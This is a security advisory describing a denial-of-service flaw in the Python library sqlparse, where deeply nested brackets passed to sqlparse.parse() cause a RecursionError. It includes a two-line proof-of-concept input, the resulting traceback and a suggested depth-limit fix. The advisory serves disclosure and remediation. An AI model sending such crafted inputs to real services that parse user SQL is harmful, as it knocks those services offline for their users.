sqlparse parsing heavily nested list leads to Denial of Service
Summary
Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.
Details + PoC
Running the following code will raise Maximum recursion limit exceeded exception:
```py
import sqlparse
sqlparse.parse('[' * 10000 + ']' * 10000)
```
We expect a traceback of RecursionError:
```py
Traceback (most recent call last):
File "trigger_sqlparse_nested_list.py", line 3, in <module>
sqlparse.parse('[' * 10000 + ']' * 10000)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/__init__.py", line 30, in parse
return tuple(parsestream(sql, encoding))
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/filter_stack.py", line 36, in run
stmt = grouping.group(stmt)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 428, in group
func(stmt)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 53, in group_brackets
_group_matching(tlist, sql.SquareBrackets)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 48, in _group_matching
tlist.group_tokens(cls, open_idx, close_idx)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 328, in group_tokens
grp = grp_cls(subtokens)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 161, in __init__
super().__init__(None, str(self))
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in __str__
return ''.join(token.value for token in self.flatten())
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in <genexpr>
return ''.join(token.value for token in self.flatten())
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
yield from token.flatten()
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
yield from token.flatten()
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
yield from token.flatten()
[Previous line repeated 983 more times]
RecursionError: maximum recursion depth exceeded
```
Fix suggestion
The [flatten()](https://github.com/andialbrecht/sqlparse/blob/master/sqlparse/sql.py#L207) function of TokenList class should limit the recursion to a maximal depth:
```py
from sqlparse.exceptions import SQLParseError
MAX_DEPTH = 100
def flatten(self, depth=1):
"""Generator yielding ungrouped tokens.
This method is recursively called for all child tokens.
"""
if depth >= MAX_DEPTH:
raise SQLParseError('Maximal depth reached')
for token in self.tokens:
if token.is_group:
yield from token.flatten(depth + 1)
else:
yield token
```
Impact
Denial of Service (the impact depends on the use).
Anyone parsing a user input with sqlparse.parse() is affected.
